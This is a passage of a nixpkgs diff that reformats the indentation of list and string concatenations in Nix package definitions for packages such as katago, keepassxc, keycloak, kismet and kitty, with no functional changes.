+  buildInputs = [
+    libzip
+    boost
+  ]
+  ++ lib.optionals (backend == "eigen") [ eigen ]
+  ++ lib.optionals (backend == "cuda") (
+    with cudaPackages;
     [
-      libzip
-      boost
+      cuda_cccl
+      cuda_cudart
+      cuda_nvcc
+      cudnn
+      libcublas
     ]
-    ++ lib.optionals (backend == "eigen") [ eigen ]
-    ++ lib.optionals (backend == "cuda") (
-      with cudaPackages;
-      [
-        cuda_cccl
-        cuda_cudart
-        cuda_nvcc
-        cudnn
-        libcublas
-      ]
-    )
-    ++ lib.optionals (backend == "tensorrt") (
-      with cudaPackages;
-      [
-        cuda_cudart
-        tensorrt
-      ]
-    )
-    ++ lib.optionals (backend == "opencl") [
-      opencl-headers
-      ocl-icd
-    ]
-    ++ lib.optionals enableContrib [ openssl ]
-    ++ lib.optionals enableTcmalloc [ gperftools ];
-
-  cmakeFlags =
+  )
+  ++ lib.optionals (backend == "tensorrt") (
+    with cudaPackages;
     [
-      (lib.cmakeFeature "USE_BACKEND" (lib.toUpper backend))
-      (lib.cmakeBool "USE_AVX2" enableAVX2)
-      (lib.cmakeBool "USE_TCMALLOC" enableTcmalloc)
-      (lib.cmakeBool "USE_BIGGER_BOARDS_EXPENSIVE" enableBigBoards)
-      (lib.cmakeBool "USE_CACHE_TENSORRT_PLAN" enableTrtPlanCache)
-      (lib.cmakeBool "NO_GIT_REVISION" (!enableContrib))
+      cuda_cudart
+      tensorrt
     ]
-    ++ lib.optionals enableContrib [
-      (lib.cmakeBool "BUILD_DISTRIBUTED" true)
-      (lib.cmakeFeature "GIT_EXECUTABLE" "${fakegit}/bin/git")
-    ];
+  )
+  ++ lib.optionals (backend == "opencl") [
+    opencl-headers
+    ocl-icd
+  ]
+  ++ lib.optionals enableContrib [ openssl ]
+  ++ lib.optionals enableTcmalloc [ gperftools ];
 
-  preConfigure =
-    ''
-      cd cpp/
-    ''
-    + lib.optionalString (backend == "cuda" || backend == "tensorrt") ''
-      export CUDA_PATH="${cudaPackages.cuda_nvcc}"
-      export EXTRA_LDFLAGS="-L/run/opengl-driver/lib"
-    '';
+  cmakeFlags = [
+    (lib.cmakeFeature "USE_BACKEND" (lib.toUpper backend))
+    (lib.cmakeBool "USE_AVX2" enableAVX2)
+    (lib.cmakeBool "USE_TCMALLOC" enableTcmalloc)
+    (lib.cmakeBool "USE_BIGGER_BOARDS_EXPENSIVE" enableBigBoards)
+    (lib.cmakeBool "USE_CACHE_TENSORRT_PLAN" enableTrtPlanCache)
+    (lib.cmakeBool "NO_GIT_REVISION" (!enableContrib))
+  ]
+  ++ lib.optionals enableContrib [
+    (lib.cmakeBool "BUILD_DISTRIBUTED" true)
+    (lib.cmakeFeature "GIT_EXECUTABLE" "${fakegit}/bin/git")
+  ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out/bin; cp katago $out/bin;
-    ''
-    + lib.optionalString (backend == "cuda" || backend == "tensorrt") ''
-      wrapProgram $out/bin/katago \
-        --prefix LD_LIBRARY_PATH : "/run/opengl-driver/lib"
-    ''
-    + ''
-      runHook postInstall
-    '';
+  preConfigure = ''
+    cd cpp/
+  ''
+  + lib.optionalString (backend == "cuda" || backend == "tensorrt") ''
+    export CUDA_PATH="${cudaPackages.cuda_nvcc}"
+    export EXTRA_LDFLAGS="-L/run/opengl-driver/lib"
+  '';
+
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out/bin; cp katago $out/bin;
+  ''
+  + lib.optionalString (backend == "cuda" || backend == "tensorrt") ''
+    wrapProgram $out/bin/katago \
+      --prefix LD_LIBRARY_PATH : "/run/opengl-driver/lib"
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = with lib; {
     description = "Go engine modeled after AlphaGo Zero";
diff --git a/pkgs/by-name/ka/katawa-shoujo/package.nix b/pkgs/by-name/ka/katawa-shoujo/package.nix
index 23b8d7aa503e..664565b21141 100644
--- a/pkgs/by-name/ka/katawa-shoujo/package.nix
+++ b/pkgs/by-name/ka/katawa-shoujo/package.nix
@@ -70,24 +70,23 @@ stdenv.mkDerivation rec {
       undmg
     ];
 
-  buildInputs =
-    [
-      freetype
-      SDL_compat
-      zlib
-    ]
-    ++ lib.optionals devendorImageLibs [
-      libjpeg
-      libpng12
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXext
-      libXi
-      libXmu
-      libGL
-      libGLU
-    ];
+  buildInputs = [
+    freetype
+    SDL_compat
+    zlib
+  ]
+  ++ lib.optionals devendorImageLibs [
+    libjpeg
+    libpng12
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXext
+    libXi
+    libXmu
+    libGL
+    libGLU
+  ];
 
   desktopItems = [
     (makeDesktopItem rec {
diff --git a/pkgs/by-name/kb/kbd/package.nix b/pkgs/by-name/kb/kbd/package.nix
index c85e05fc552f..986d1c15cdce 100644
--- a/pkgs/by-name/kb/kbd/package.nix
+++ b/pkgs/by-name/kb/kbd/package.nix
@@ -33,16 +33,15 @@ stdenv.mkDerivation rec {
     "dev"
   ];
 
-  configureFlags =
-    [
-      "--enable-optional-progs"
-      "--enable-libkeymap"
-      "--disable-nls"
-    ]
-    ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
-      "ac_cv_func_malloc_0_nonnull=yes"
-      "ac_cv_func_realloc_0_nonnull=yes"
-    ];
+  configureFlags = [
+    "--enable-optional-progs"
+    "--enable-libkeymap"
+    "--disable-nls"
+  ]
+  ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
+    "ac_cv_func_malloc_0_nonnull=yes"
+    "ac_cv_func_realloc_0_nonnull=yes"
+  ];
 
   patches = [
     ./search-paths.patch
diff --git a/pkgs/by-name/kb/kbs2/package.nix b/pkgs/by-name/kb/kbs2/package.nix
index 22263bb8d5b5..cc091e6c4846 100644
--- a/pkgs/by-name/kb/kbs2/package.nix
+++ b/pkgs/by-name/kb/kbs2/package.nix
@@ -32,19 +32,19 @@ rustPlatform.buildRustPackage rec {
 
   checkFlags = [
     "--skip=kbs2::config::tests::test_find_config_dir"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--skip=test_ragelib_rewrap_keyfile" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--skip=test_ragelib_rewrap_keyfile" ];
 
-  postInstall =
-    ''
-      mkdir -p $out/share/kbs2
-      cp -r contrib/ $out/share/kbs2
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd kbs2 \
-        --bash <($out/bin/kbs2 --completions bash) \
-        --fish <($out/bin/kbs2 --completions fish) \
-        --zsh <($out/bin/kbs2 --completions zsh)
-    '';
+  postInstall = ''
+    mkdir -p $out/share/kbs2
+    cp -r contrib/ $out/share/kbs2
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd kbs2 \
+      --bash <($out/bin/kbs2 --completions bash) \
+      --fish <($out/bin/kbs2 --completions fish) \
+      --zsh <($out/bin/kbs2 --completions zsh)
+  '';
 
   meta = with lib; {
     description = "Secret manager backed by age";
diff --git a/pkgs/by-name/ke/kea/package.nix b/pkgs/by-name/ke/kea/package.nix
index 842543c95206..0d93fd43d330 100644
--- a/pkgs/by-name/ke/kea/package.nix
+++ b/pkgs/by-name/ke/kea/package.nix
@@ -47,30 +47,28 @@ stdenv.mkDerivation rec {
     "man"
   ];
 
-  configureFlags =
-    [
-      "--enable-perfdhcp"
-      "--enable-shell"
-      "--localstatedir=/var"
-      "--with-openssl=${lib.getDev openssl}"
-    ]
-    ++ lib.optional withPostgres "--with-pgsql=${libpq.pg_config}/bin/pg_config"
-    ++ lib.optional withMysql "--with-mysql=${lib.getDev libmysqlclient}/bin/mysql_config";
+  configureFlags = [
+    "--enable-perfdhcp"
+    "--enable-shell"
+    "--localstatedir=/var"
+    "--with-openssl=${lib.getDev openssl}"
+  ]
+  ++ lib.optional withPostgres "--with-pgsql=${libpq.pg_config}/bin/pg_config"
+  ++ lib.optional withMysql "--with-mysql=${lib.getDev libmysqlclient}/bin/mysql_config";
 
   postConfigure = ''
     # Mangle embedded paths to dev-only inputs.
     sed -e "s|$NIX_STORE/[a-z0-9]\{32\}-|$NIX_STORE/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee-|g" -i config.report
   '';
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-    ]
-    ++ (with python3Packages; [
-      sphinxHook
-      sphinx-rtd-theme
-    ]);
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ]
+  ++ (with python3Packages; [
+    sphinxHook
+    sphinx-rtd-theme
+  ]);
 
   sphinxBuilders = [
     "html"
diff --git a/pkgs/by-name/ke/keepalived/package.nix b/pkgs/by-name/ke/keepalived/package.nix
index f7cc87b06e14..369ce2b90b8b 100644
--- a/pkgs/by-name/ke/keepalived/package.nix
+++ b/pkgs/by-name/ke/keepalived/package.nix
@@ -25,17 +25,16 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-+IwV8ifQ8gWN4eR9Fgvw3HV3WJDmy3urEQDLngoMdm8=";
   };
 
-  buildInputs =
-    [
-      file
-      libmnl
-      libnftnl
-      libnl
-      openssl
-    ]
-    ++ lib.optionals withNetSnmp [
-      net-snmp
-    ];
+  buildInputs = [
+    file
+    libmnl
+    libnftnl
+    libnl
+    openssl
+  ]
+  ++ lib.optionals withNetSnmp [
+    net-snmp
+  ];
 
   enableParallelBuilding = true;
 
@@ -46,13 +45,12 @@ stdenv.mkDerivation rec {
     autoreconfHook
   ];
 
-  configureFlags =
-    [
-      "--enable-sha1"
-    ]
-    ++ lib.optionals withNetSnmp [
-      "--enable-snmp"
-    ];
+  configureFlags = [
+    "--enable-sha1"
+  ]
+  ++ lib.optionals withNetSnmp [
+    "--enable-snmp"
+  ];
 
   meta = with lib; {
     homepage = "https://keepalived.org";
diff --git a/pkgs/by-name/ke/keepassxc/package.nix b/pkgs/by-name/ke/keepassxc/package.nix
index 40b6dc15170f..060d6c637dd3 100644
--- a/pkgs/by-name/ke/keepassxc/package.nix
+++ b/pkgs/by-name/ke/keepassxc/package.nix
@@ -109,16 +109,16 @@ stdenv.mkDerivation (finalAttrs: {
     libsForQt5.wrapQtAppsHook
     libsForQt5.qttools
     pkg-config
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) wrapGAppsHook3;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) wrapGAppsHook3;
 
   dontWrapGApps = true;
-  preFixup =
-    ''
-      qtWrapperArgs+=("''${gappsWrapperArgs[@]}")
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      wrapQtApp "$out/Applications/KeePassXC.app/Contents/MacOS/KeePassXC"
-    '';
+  preFixup = ''
+    qtWrapperArgs+=("''${gappsWrapperArgs[@]}")
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    wrapQtApp "$out/Applications/KeePassXC.app/Contents/MacOS/KeePassXC"
+  '';
 
   postInstall = lib.concatLines [
     (lib.optionalString stdenv.hostPlatform.isDarwin ''
@@ -135,35 +135,34 @@ stdenv.mkDerivation (finalAttrs: {
     '')
   ];
 
-  buildInputs =
-    [
-      botan3
-      curl
-      libXi
-      libXtst
-      libargon2
-      libsForQt5.qtbase
-      libsForQt5.qtsvg
-      minizip
-      pcsclite
-      qrencode
-      readline
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libsForQt5.qtmacextras
+  buildInputs = [
+    botan3
+    curl
+    libXi
+    libXtst
+    libargon2
+    libsForQt5.qtbase
+    libsForQt5.qtsvg
+    minizip
+    pcsclite
+    qrencode
+    readline
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libsForQt5.qtmacextras
 
-      apple-sdk_15
-      # ScreenCaptureKit, required by livekit, is only available on 12.3 and up:
-      # https://developer.apple.com/documentation/screencapturekit
-      (darwinMinVersionHook "12.3")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libusb1
-    ]
-    ++ lib.optionals withKeePassX11 [
-      libsForQt5.qtx11extras
-    ];
+    apple-sdk_15
+    # ScreenCaptureKit, required by livekit, is only available on 12.3 and up:
+    # https://developer.apple.com/documentation/screencapturekit
+    (darwinMinVersionHook "12.3")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libusb1
+  ]
+  ++ lib.optionals withKeePassX11 [
+    libsForQt5.qtx11extras
+  ];
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/ke/kew/package.nix b/pkgs/by-name/ke/kew/package.nix
index c7fb310dd0ea..051e18e8c82c 100644
--- a/pkgs/by-name/ke/kew/package.nix
+++ b/pkgs/by-name/ke/kew/package.nix
@@ -48,13 +48,12 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail '$(shell uname -m)' '${stdenv.hostPlatform.parsed.cpu.name}'
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    autoPatchelfHook
+  ];
 
   buildInputs = [
     fftwFloat.dev
diff --git a/pkgs/by-name/ke/kexec-tools/package.nix b/pkgs/by-name/ke/kexec-tools/package.nix
index 480503252afc..ab716d86c53b 100644
--- a/pkgs/by-name/ke/kexec-tools/package.nix
+++ b/pkgs/by-name/ke/kexec-tools/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation rec {
       url = "https://raw.githubusercontent.com/void-linux/void-packages/6c1192cbf166698932030c2e3de71db1885a572d/srcpkgs/kexec-tools/patches/ppc64-elfv2.patch";
       sha256 = "19wzfwb0azm932v0vhywv4221818qmlmvdfwpvvpfyw4hjsc2s1l";
     })
-  ] ++ lib.optional (stdenv.hostPlatform.useLLVM or false) ./fix-purgatory-llvm-libunwind.patch;
+  ]
+  ++ lib.optional (stdenv.hostPlatform.useLLVM or false) ./fix-purgatory-llvm-libunwind.patch;
 
   hardeningDisable = [
     "format"
diff --git a/pkgs/by-name/ke/keycloak/package.nix b/pkgs/by-name/ke/keycloak/package.nix
index ee5e0c3dd75b..2e178e756309 100644
--- a/pkgs/by-name/ke/keycloak/package.nix
+++ b/pkgs/by-name/ke/keycloak/package.nix
@@ -42,31 +42,30 @@ stdenv.mkDerivation rec {
     ./config_vars.patch
   ];
 
-  buildPhase =
-    ''
-      runHook preBuild
-    ''
-    + lib.optionalString (confFile != null) ''
-      install -m 0600 ${confFile} conf/keycloak.conf
-    ''
-    + ''
-      install_plugin() {
-        if [ -d "$1" ]; then
-          find "$1" -type f \( -iname \*.ear -o -iname \*.jar \) -exec install -p -m 0500 "{}" "providers/" \;
-        else
-          install -p -m 0500 "$1" "providers/"
-        fi
-      }
-      ${lib.concatMapStringsSep "\n" (pl: "install_plugin ${lib.escapeShellArg pl}") plugins}
-    ''
-    + ''
-      patchShebangs bin/kc.sh
-      export KC_HOME_DIR=$(pwd)
-      export KC_CONF_DIR=$(pwd)/conf
-      bin/kc.sh build ${featuresSubcommand}
+  buildPhase = ''
+    runHook preBuild
+  ''
+  + lib.optionalString (confFile != null) ''
+    install -m 0600 ${confFile} conf/keycloak.conf
+  ''
+  + ''
+    install_plugin() {
+      if [ -d "$1" ]; then
+        find "$1" -type f \( -iname \*.ear -o -iname \*.jar \) -exec install -p -m 0500 "{}" "providers/" \;
+      else
+        install -p -m 0500 "$1" "providers/"
+      fi
+    }
+    ${lib.concatMapStringsSep "\n" (pl: "install_plugin ${lib.escapeShellArg pl}") plugins}
+  ''
+  + ''
+    patchShebangs bin/kc.sh
+    export KC_HOME_DIR=$(pwd)
+    export KC_CONF_DIR=$(pwd)/conf
+    bin/kc.sh build ${featuresSubcommand}
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/ke/keydb/package.nix b/pkgs/by-name/ke/keydb/package.nix
index 8bec09390283..c0fc9248be38 100644
--- a/pkgs/by-name/ke/keydb/package.nix
+++ b/pkgs/by-name/ke/keydb/package.nix
@@ -37,25 +37,23 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      jemalloc
-      curl
-      libuuid
-    ]
-    ++ lib.optionals tlsSupport [ openssl ]
-    ++ lib.optionals withSystemd [ systemd ];
+  buildInputs = [
+    jemalloc
+    curl
+    libuuid
+  ]
+  ++ lib.optionals tlsSupport [ openssl ]
+  ++ lib.optionals withSystemd [ systemd ];
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-      "AR=${stdenv.cc.targetPrefix}ar"
-      "RANLIB=${stdenv.cc.targetPrefix}ranlib"
-      "USEASM=${if stdenv.hostPlatform.isx86_64 then "true" else "false"}"
-    ]
-    ++ lib.optionals (!tlsSupport) [ "BUILD_TLS=no" ]
-    ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
-    ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "MALLOC=libc" ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+    "AR=${stdenv.cc.targetPrefix}ar"
+    "RANLIB=${stdenv.cc.targetPrefix}ranlib"
+    "USEASM=${if stdenv.hostPlatform.isx86_64 then "true" else "false"}"
+  ]
+  ++ lib.optionals (!tlsSupport) [ "BUILD_TLS=no" ]
+  ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "MALLOC=libc" ];
 
   enableParallelBuilding = true;
 
@@ -63,14 +61,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   # darwin currently lacks a pure `pgrep` which is extensively used here
   doCheck = !stdenv.hostPlatform.isDarwin;
-  nativeCheckInputs =
-    [
-      which
-      tcl
-      ps
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ]
-    ++ lib.optionals tlsSupport [ tclPackages.tcltls ];
+  nativeCheckInputs = [
+    which
+    tcl
+    ps
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ]
+  ++ lib.optionals tlsSupport [ tclPackages.tcltls ];
   checkPhase = ''
     runHook preCheck
 
diff --git a/pkgs/by-name/ke/keylight-controller-mschneider82/package.nix b/pkgs/by-name/ke/keylight-controller-mschneider82/package.nix
index daf7309de2b3..82a82703e4ad 100644
--- a/pkgs/by-name/ke/keylight-controller-mschneider82/package.nix
+++ b/pkgs/by-name/ke/keylight-controller-mschneider82/package.nix
@@ -25,22 +25,21 @@ buildGoModule rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libGL
-      nssmdns
-    ]
-    ++ (with xorg; [
-      libX11
-      libX11.dev
-      libXcursor
-      libXext
-      libXi
-      libXinerama
-      libXrandr
-      libXxf86vm
-      xinput
-    ]);
+  buildInputs = [
+    libGL
+    nssmdns
+  ]
+  ++ (with xorg; [
+    libX11
+    libX11.dev
+    libXcursor
+    libXext
+    libXi
+    libXinerama
+    libXrandr
+    libXxf86vm
+    xinput
+  ]);
 
   meta = with lib; {
     description = "Desktop application to control Elgato Keylights";
diff --git a/pkgs/by-name/ke/keystone/package.nix b/pkgs/by-name/ke/keystone/package.nix
index efa845b4e7b7..d06237c85f64 100644
--- a/pkgs/by-name/ke/keystone/package.nix
+++ b/pkgs/by-name/ke/keystone/package.nix
@@ -24,16 +24,15 @@ stdenv.mkDerivation rec {
     "-DCMAKE_INSTALL_LIBDIR=lib"
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # TODO: could be replaced by setting CMAKE_INSTALL_NAME_DIR?
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # TODO: could be replaced by setting CMAKE_INSTALL_NAME_DIR?
+    fixDarwinDylibNames
+  ];
 
   meta = with lib; {
     description = "Lightweight multi-platform, multi-architecture assembler framework";
diff --git a/pkgs/by-name/ki/ki/package.nix b/pkgs/by-name/ki/ki/package.nix
index 6c2e6ca89451..cd6eb499070c 100644
--- a/pkgs/by-name/ki/ki/package.nix
+++ b/pkgs/by-name/ki/ki/package.nix
@@ -29,18 +29,19 @@ python3Packages.buildPythonApplication rec {
 
   nativeBuildInputs = [ cmake ];
 
-  propagatedBuildInputs =
-    [ anki ]
-    ++ (with python3Packages; [
-      beartype
-      click
-      colorama
-      git-filter-repo
-      gitpython
-      lark
-      tqdm
-      whatthepatch
-    ]);
+  propagatedBuildInputs = [
+    anki
+  ]
+  ++ (with python3Packages; [
+    beartype
+    click
+    colorama
+    git-filter-repo
+    gitpython
+    lark
+    tqdm
+    whatthepatch
+  ]);
 
   nativeCheckInputs = with python3Packages; [
     bitstring
diff --git a/pkgs/by-name/ki/kid3/package.nix b/pkgs/by-name/ki/kid3/package.nix
index ca7416a60167..e0a0b5a02548 100644
--- a/pkgs/by-name/ki/kid3/package.nix
+++ b/pkgs/by-name/ki/kid3/package.nix
@@ -59,34 +59,33 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
+  buildInputs = [
+    chromaprint
+    ffmpeg
+    flac
+    id3lib
+    libogg
+    libvorbis
+    libxslt
+    mp4v2
+    qtbase
+    qtdeclarative
+    qtmultimedia
+    readline
+    taglib
+    zlib
+  ]
+  ++ lib.optionals withKDE (
+    with kdePackages;
     [
-      chromaprint
-      ffmpeg
-      flac
-      id3lib
-      libogg
-      libvorbis
-      libxslt
-      mp4v2
-      qtbase
-      qtdeclarative
-      qtmultimedia
-      readline
-      taglib
-      zlib
+      kconfig
+      kconfigwidgets
+      kcoreaddons
+      kio
+      kxmlgui
+      phonon
     ]
-    ++ lib.optionals withKDE (
-      with kdePackages;
-      [
-        kconfig
-        kconfigwidgets
-        kcoreaddons
-        kio
-        kxmlgui
-        phonon
-      ]
-    );
+  );
 
   cmakeFlags = [ (lib.cmakeFeature "WITH_APPS" apps) ];
 
diff --git a/pkgs/by-name/ki/kismet/package.nix b/pkgs/by-name/ki/kismet/package.nix
index cc38baff02f9..deba8d723e87 100644
--- a/pkgs/by-name/ki/kismet/package.nix
+++ b/pkgs/by-name/ki/kismet/package.nix
@@ -57,61 +57,58 @@ stdenv.mkDerivation (finalPackage: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      protobuf
-      protobufc
-    ]
-    ++ lib.optionals withPython [
-      (python3.withPackages (ps: [
-        ps.numpy
-        ps.protobuf
-        ps.pyserial
-        ps.setuptools
-        ps.websockets
-      ]))
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    protobuf
+    protobufc
+  ]
+  ++ lib.optionals withPython [
+    (python3.withPackages (ps: [
+      ps.numpy
+      ps.protobuf
+      ps.pyserial
+      ps.setuptools
+      ps.websockets
+    ]))
+  ];
 
-  buildInputs =
-    [
-      binutils
-      elfutils
-      libcap
-      libmicrohttpd
-      libnl
-      libpcap
-      openssl
-      libusb1
-      libwebsockets
-      pcre2
-      protobuf
-      protobufc
-      sqlite
-      zlib
-    ]
-    ++ lib.optionals withNetworkManager [
-      networkmanager
-      glib
-    ]
-    ++ lib.optionals withSensors [
-      lm_sensors
-    ];
+  buildInputs = [
+    binutils
+    elfutils
+    libcap
+    libmicrohttpd
+    libnl
+    libpcap
+    openssl
+    libusb1
+    libwebsockets
+    pcre2
+    protobuf
+    protobufc
+    sqlite
+    zlib
+  ]
+  ++ lib.optionals withNetworkManager [
+    networkmanager
+    glib
+  ]
+  ++ lib.optionals withSensors [
+    lm_sensors
+  ];
 
-  configureFlags =
-    [
-      "--disable-wifi-coconut" # Until https://github.com/kismetwireless/kismet/issues/478
-    ]
-    ++ lib.optionals (!withNetworkManager) [
-      "--disable-libnm"
-    ]
-    ++ lib.optionals (!withPython) [
-      "--disable-python-tools"
-    ]
-    ++ lib.optionals (!withSensors) [
-      "--disable-lmsensors"
-    ];
+  configureFlags = [
+    "--disable-wifi-coconut" # Until https://github.com/kismetwireless/kismet/issues/478
+  ]
+  ++ lib.optionals (!withNetworkManager) [
+    "--disable-libnm"
+  ]
+  ++ lib.optionals (!withPython) [
+    "--disable-python-tools"
+  ]
+  ++ lib.optionals (!withSensors) [
+    "--disable-lmsensors"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ki/kitsas/package.nix b/pkgs/by-name/ki/kitsas/package.nix
index 448f01e1cd55..f39b61eb7638 100644
--- a/pkgs/by-name/ki/kitsas/package.nix
+++ b/pkgs/by-name/ki/kitsas/package.nix
@@ -25,17 +25,16 @@ stdenv.mkDerivation rec {
     qt6.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      libzip
-      poppler
-      qt6.qt5compat
-      qt6.qtsvg
-      qt6.qtwebengine
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux [
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    libzip
+    poppler
+    qt6.qt5compat
+    qt6.qtsvg
+    qt6.qtwebengine
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux [
+    qt6.qtwayland
+  ];
 
   # We use a separate build-dir as otherwise ld seems to get confused between
   # directory and executable name on buildPhase.
diff --git a/pkgs/by-name/ki/kitty/package.nix b/pkgs/by-name/ki/kitty/package.nix
index afffc52f51db..be7faa35181d 100644
--- a/pkgs/by-name/ki/kitty/package.nix
+++ b/pkgs/by-name/ki/kitty/package.nix
@@ -67,62 +67,60 @@ buildPythonApplication rec {
       vendorHash = "sha256-gTzonKFXo1jhTU+bX3+4/5wvvLGDHE/ppUg1ImkVpAs=";
     }).goModules;
 
-  buildInputs =
-    [
-      harfbuzz
-      ncurses
-      simde
-      lcms2
-      librsync
-      matplotlib
-      openssl.dev
-      xxHash
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libpng
-      python3
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      fontconfig
-      libunistring
-      libcanberra
-      libX11
-      libXrandr
-      libXinerama
-      libXcursor
-      libxkbcommon
-      libXi
-      libXext
-      wayland-protocols
-      wayland
-      dbus
-      libGL
-      cairo
-    ];
+  buildInputs = [
+    harfbuzz
+    ncurses
+    simde
+    lcms2
+    librsync
+    matplotlib
+    openssl.dev
+    xxHash
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libpng
+    python3
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    fontconfig
+    libunistring
+    libcanberra
+    libX11
+    libXrandr
+    libXinerama
+    libXcursor
+    libxkbcommon
+    libXi
+    libXext
+    wayland-protocols
+    wayland
+    dbus
+    libGL
+    cairo
+  ];
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-      ncurses
-      pkg-config
-      sphinx
-      furo
-      sphinx-copybutton
-      sphinxext-opengraph
-      sphinx-inline-tabs
-      go_1_24
-      fontconfig
-      makeBinaryWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      imagemagick
-      libicns # For the png2icns tool.
-      autoSignDarwinBinariesHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    ncurses
+    pkg-config
+    sphinx
+    furo
+    sphinx-copybutton
+    sphinxext-opengraph
+    sphinx-inline-tabs
+    go_1_24
+    fontconfig
+    makeBinaryWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    imagemagick
+    libicns # For the png2icns tool.
+    autoSignDarwinBinariesHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland-scanner
+  ];
 
   depsBuildBuild = [ pkg-config ];
 
@@ -200,19 +198,18 @@ buildPythonApplication rec {
       runHook postBuild
     '';
 
-  nativeCheckInputs =
-    [
-      pillow
+  nativeCheckInputs = [
+    pillow
 
-      # Shells needed for shell integration tests
-      bashInteractive
-      zsh
-      fish
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # integration tests need sudo
-      sudo
-    ];
+    # Shells needed for shell integration tests
+    bashInteractive
+    zsh
+    fish
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # integration tests need sudo
+    sudo
+  ];
 
   # skip failing tests due to darwin sandbox
   preCheck = lib.optionalString stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/by-name/kl/klipper-estimator/package.nix b/pkgs/by-name/kl/klipper-estimator/package.nix
index 0e863c58be61..fb1668c33bef 100644
--- a/pkgs/by-name/kl/klipper-estimator/package.nix
+++ b/pkgs/by-name/kl/klipper-estimator/package.nix
@@ -24,11 +24,12 @@ rustPlatform.buildRustPackage rec {
 
   env.TOOL_VERSION = "v${version}";
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libgit2
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libgit2
+  ];
 
   nativeBuildInputs = [ pkg-config ];
 
diff --git a/pkgs/by-name/km/kmscube/package.nix b/pkgs/by-name/km/kmscube/package.nix
index a6c42798a00e..d2192b58895e 100644
--- a/pkgs/by-name/km/kmscube/package.nix
+++ b/pkgs/by-name/km/kmscube/package.nix
